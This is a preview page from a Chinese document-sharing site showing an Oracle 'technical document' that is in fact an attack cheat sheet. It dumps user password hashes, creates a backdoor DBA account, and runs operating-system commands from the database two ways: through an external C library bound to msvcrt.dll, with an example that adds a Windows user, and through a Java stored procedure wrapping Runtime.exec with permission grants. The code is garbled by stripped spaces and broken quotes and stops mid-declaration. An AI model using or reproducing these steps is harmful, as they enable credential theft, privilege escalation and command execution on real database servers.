oracle技术文档 电脑资料文档格式.docx

上传人:b****6 文档编号:15989484 上传时间:2022-11-17 格式:DOCX 页数:19 大小:19.95KB
下载 相关 举报
oracle技术文档 电脑资料文档格式.docx_第1页
第1页 / 共19页
oracle技术文档 电脑资料文档格式.docx_第2页
第2页 / 共19页
oracle技术文档 电脑资料文档格式.docx_第3页
第3页 / 共19页
oracle技术文档 电脑资料文档格式.docx_第4页
第4页 / 共19页
oracle技术文档 电脑资料文档格式.docx_第5页
第5页 / 共19页
点击查看更多>>
下载资源
资源描述

oracle技术文档 电脑资料文档格式.docx

《oracle技术文档 电脑资料文档格式.docx》由会员分享,可在线阅读,更多相关《oracle技术文档 电脑资料文档格式.docx(19页珍藏版)》请在冰豆网上搜索。

oracle技术文档 电脑资料文档格式.docx

selectusername,passwordfromdba_users;

//查看所有用户密码hash

select*fromdba_sys_privswheregrantee='

SYSTEM'

;

\\查系统权限

grantselectanydictionarytosystemwithadminoption;

\\登陆不上OEM时候需要此权限

Selectname,passwordFROMuser$Wherename='

SCOTT'

//低版本查看单用户密码

Selectusername,decode(password,NULL,'

NULL'

password)passwordFROMdba_users;

//查看用户hash

createuserbobidentifiedbyiloveyou;

\\建用户bob密码iloveyou

grantdbatobob;

\\赋予bobDBA权限

grantexecuteonxmldomtobob\\赋予用户execute

CreateROLE"

javauserpriv"

NOTIDENTIFIED

javasyspriv"

NOTIDENTIFIED\\当提示role'

JAVASYSPRIV'

doesnotexist使用

selectgranteefromdba_role_privswheregranted_role='

DBA'

\\检查那些用户有DBA权限

select*fromdba_directories;

\\查看路径所在目录

第二部分,创建java,执行系统命令

no.1

CreateorREPLACELIBRARYexec_shellAS'

c:

\windows\system32\msvcrt.dll'

/

showerrors

CreateorREPLACEPACKAGEoracmdISPROCEDUREexec(cmdstringINCHAR);

endoracmd;

CreateorREPLACEPACKAGEBODYoracmdIS

PROCEDUREexec(cmdstringINCHAR)

ISEXTERNAL

NAME"

system"

LIBRARYexec_shell

LANGUAGEC;

showerrors上面这个没有回显的

如果不行可以使用下面这个

$ORACLE_HOME\msvcrt.dll'

showerrors执行完后

执行

execoracmd.exec('

net1userrobertiloveyou/add'

);

no2.

CreateorREPLACEANDCOMPILEJAVASOURCENAMED"

Host"

AS

importjava.io.*;

publicclassHost{

publicstaticvoidexecuteCommand(Stringcommand){

try{

String[]finalCommand;

if(isWindows()){

finalCommand=newString[4];

//Usetheappropriatepathforyourwindowsversion.

finalCommand[0]="

C:

\\windows\\system32\\cmd.exe"

//WindowsXP/2003

//finalCommand[0]="

\\winnt\\system32\\cmd.exe"

//WindowsNT/2000

finalCommand[1]="

/y"

finalCommand[2]="

/c"

finalCommand[3]=command;

}

else{

finalCommand=newString[3];

/bin/sh"

-c"

finalCommand[2]=command;

finalProcesspr=Runtime.getRuntime().exec(finalCommand);

pr.waitFor();

newThread(newRunnable(){

publicvoidrun(){

BufferedReaderbr_in=null;

br_in=newBufferedReader(newInputStreamReader(pr.getInputStream()));

Stringbuff=null;

while((buff=br_in.readLine())!

=null){

System.out.println("

Processout:

"

+buff);

try{Thread.sleep(100);

}catch(Exceptione){}

br_in.close();

catch(IOExceptionioe){

Exceptioncaughtprintingprocessoutput."

ioe.printStackTrace();

finally{

}catch(Exceptionex){}

}).start();

BufferedReaderbr_err=null;

br_err=newBufferedReader(newInputStreamReader(pr.getErrorStream()));

while((buff=br_err.readLine())!

Processerr:

br_err.close();

Exceptioncaughtprintingprocesserror."

catch(Exceptionex){

System.out.println(ex.getLocalizedMessage());

publicstaticbooleanisWindows(){

if(System.getProperty("

os.name"

).toLowerCase().indexOf("

windows"

)!

=-1)

returntrue;

else

returnfalse;

};

CreateorREPLACEPROCEDUREhost_command(p_command 

IN 

VARCHAR2)

ASLANGUAGEJAVA

NAME'

Host.executeCommand(java.lang.String)'

EXECDBMS_JAVA.grant_permission('

'

java.io.FilePermission'

<

>

'

read,write,execute,delete'

EXECDbms_Java.Grant_Permission('

SYS:

java.lang.RuntimePermission'

writeFileDescriptor'

readFileDescriptor'

DECLARE

l_outputDBMS_OUTPUT.chararr;

l_line

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 法律文书 > 调解书

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1